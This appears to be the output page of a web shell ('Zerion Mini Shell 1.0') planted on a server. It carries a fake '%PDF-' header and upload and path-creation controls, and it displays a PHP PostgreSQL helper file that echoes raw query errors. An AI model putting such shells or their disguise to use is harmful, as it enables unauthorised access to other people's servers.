%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/old2/_music/jabbarchive/
Upload File :
Create Path :
Current File : /www/old2/_music/jabbarchive/lib.php

<?php
function q($query,$assoc=0) 

{

  global $queries;
     //echo $query."\n";
   $r = @pg_query($query);

   if( pg_result_error($r) ) {

       $error = 'PGSQL ERROR : <small>' . pg_result_error($r). "</small><br><VAR>$query</VAR>";

       echo($error); return FALSE;

   }

   $queries++;

   if( strtolower(substr($query,0,6)) != 'select' ) return @pg_affected_rows($r);

   $count = @pg_num_rows($r);

   if( !$count ) return 0;

   if( $count == 1 ) {

       if( $assoc ) $f = pg_fetch_assoc($r);

       else $f = pg_fetch_row($r);

       pg_free_result($r);

       if( count($f) == 1 ) {

           list($key) = array_keys($f);   

           return $f[$key];

       } else {

           $all = array();

           $all[] = $f;

           return $all;

       }

   } else {

       $all = array();

       for( $i = 0; $i < $count; $i++ ) {

           if( $assoc ) $f = pg_fetch_assoc($r);

           else $f = pg_fetch_row($r);

           $all[] = $f;

       }

       pg_free_result($r);

       return $all;

   }

}

?>

Zerion Mini Shell 1.0